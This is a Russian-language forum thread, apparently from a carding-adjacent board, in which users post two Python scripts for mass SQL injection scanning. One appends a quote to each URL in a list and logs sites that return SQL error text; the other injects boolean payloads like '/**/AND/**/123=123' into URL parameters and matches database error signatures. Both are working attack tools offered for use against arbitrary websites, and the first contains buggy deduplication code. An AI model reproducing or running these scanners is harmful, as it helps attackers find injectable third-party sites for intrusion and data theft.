![]() |
Quote:
|
Чуваки, я грубо говоря просто хотел сделать хоть мизерный, но вклад в этот ресурс. Вот и написал за несколько минут данный чекер. https://txgate.io/images/smilies/smile.gif А так, скоро готовится еще один проект, но уже другого масштаба |
Quote:
margin: 0px; padding: 6px; border: 1px solid rgb(0, 0, 0); width: 640px; height: 498px; text-align: left; overflow: auto; background: rgb(37, 37, 37) none repeat scroll 0% 0%; border-radius: 5px; font-size: 11px; text-shadow: none;">import os import sys import urllib def log_crt(name, text): if os.path.exists(name): open(name, 'a+').write(text) return True else: return False def sites(name, id): if os.path.exists(name): text = open(name, 'r').readlines() return text[id] else: sys.exit(1) print("[!] SQL Inj checker") if __name__ == "__main__": if sys.argv[1] != "" and sys.argv[2] != "": for i in range(0, len(open(sys.argv[1], 'r').readlines())): site = sites(sys.argv[1], i) try: html = urllib.urlopen(site + "'").read() if 'SQL' in html or 'syntax' in html or 'Warning' in html: log_crt(sys.argv[2], site) print("[\033[1;32mGOOD\033[1;m] " + site) else: print("[\033[1;31mERROR\033[1;m] " + site) except: pass print("[\033[1;32mDellete repeat domains\033[1;m]") for i in range(0, len(open(sys.argv[2], 'r').readlines())): domain = sites(sys.argv[2], i).replace('http://', '').split('/') for j in range(0, len(open(sys.argv[2], 'r').readlines())): dell_domain = sites(sys.argv[2], i).replace('http://', '').split('/') if(dell_domain[0] == domain[0]): f = open(sys.argv[2]).read() f.replace(sites(sys.argv[2], j), '') print("[\033[1;32mDone\033[1;m]") else: print("Error!")</pre> Написал за пару минут и сам его использую, запускать так: python script_name.py файл_с_сайтами.txt файл_для_сохранения_резуль� �атов.txt Как то тоже писал подобный скрипт для чека SQL Injection, чекает по ключевым словам(Mysql, MSSQL, PostgreSQL и.т.д....) и сравнивает процент сходства страниц - это для того если нет прямого вывода на страницу, пожалуй тоже выложу сюда, писал давно когда начинал учить python внешни вид кода оставляет желать лутшего ) Code: <pre class="alt2" dir="ltr" style=" margin: 0px; padding: 6px; border: 1px solid rgb(0, 0, 0); width: 640px; height: 498px; text-align: left; overflow: auto; background: rgb(37, 37, 37) none repeat scroll 0% 0%; border-radius: 5px; font-size: 11px; text-shadow: none;">#!/usr/bin/env python3.5 import itertools, warnings, difflib, argparse, requests, hashlib, sys, re from requests.packages import urllib3 urllib3.disable_warnings() headers = {'user-agent': 'Mozilla/5.0 (BlackBerry; U; BlackBerry 9800; en-US) AppleWebKit/534.8+ (KHTML, like Gecko) Version/6.0.0.450 Mobile Safari/534.8+'} PROXY = None BOOLEAN_CHECK = "/**/AND/**/123=123" BOOLEAN_TEST = "/**/AND/**/123=125" TIMEOUT = 5 DBMS_SIGN = re.compile(r"SQL syntax.*MySQL|Warning.*mysql_.*|SQL syntax|mysql_num_rows|mysql_fetch_array|Driver.* SQL[\-\_\ ]*Server|OLE DB.* SQL Server|Warning.*mssql_.*|Microsoft Access Driver|Access Database Engine|Server Error in|PostgreSQL.*ERROR|Npgsql\.|valid PostgreSQL result|Oracle error|Oracle.*Driver|Warning.*\Woci_.*|CLI Driver.*DB2|DB2 SQL error|SQLite/JDBCDriver|SQLite.Exception|Warning.*sqlite_.*|(?i )Warning.*sybase.*|Sybase message") HTML_CLEAN = re.compile(r"(?si)<script.+?</script>|<!--.+?-->|<style.+?</style>|<[^>]+>|\s+") TARGET_PARAM = re.compile(r"(=[a-zA-Z0-9]*)") REDIRECT = "False" VERSION = 0.1 COEFFICENT = 0.95 parser = argparse.ArgumentParser(description='SQL injection check tools v'+str(VERSION)) parser.add_argument("-l", dest="list", help="Choose link list", type=argparse.FileType(), required=True) args = parser.parse_args() try: for link in args.list: prefix = link.find("http") if prefix != 0: link = "http://"+link else: None def page_source_text(sql_link): try: sql_link = requests.get(sql_link, headers=headers, verify=False, timeout=TIMEOUT, allow_redirects=REDIRECT) page_text = sql_link.text page_code = sql_link.status_code page_text = HTML_CLEAN.sub(' ', page_text) return page_text, page_code except requests.exceptions.RequestException: return sql_link def boolean_test_sql(link): bool_targ = TARGET_PARAM.sub(r"\1"+BOOLEAN_CHECK, link) bool_targ2 = TARGET_PARAM.sub(r"\1"+BOOLEAN_TEST, link) original_targ = page_source_text(link) bool_targ = page_source_text(bool_targ) bool_targ2 = page_source_text(bool_targ2) http_code = original_targ[1] vulns = difflib.SequenceMatcher(None, original_targ[0], bool_targ[0]).quick_ratio() vulns1 = difflib.SequenceMatcher(None, original_targ[0], bool_targ2[0]).quick_ratio() if http_code == 200 or http_code == 500: if vulns >= COEFFICENT and vulns1 <= COEFFICENT: print (" [ + ] ",link) sql_target = TARGET_PARAM.sub(r"\1"+"'", link) union_target = page_source_text(sql_target) sql_text = union_target[0] req_code_sql = union_target[1] if req_code_sql == 200 or req_code_sql == 500: dbms_error = DBMS_SIGN.search(sql_text) is not None if dbms_error != 0: print (" [ + ] ",link) else: boolean_test_sql(link) except KeyboardInterrupt: print ("\r [x] Ctrl-C pressed")</pre> |
All times are GMT. The time now is 04:55 AM. |
Powered by vBulletin® Version 3.8.7
Copyright ©2000 - 2025, vBulletin Solutions, Inc.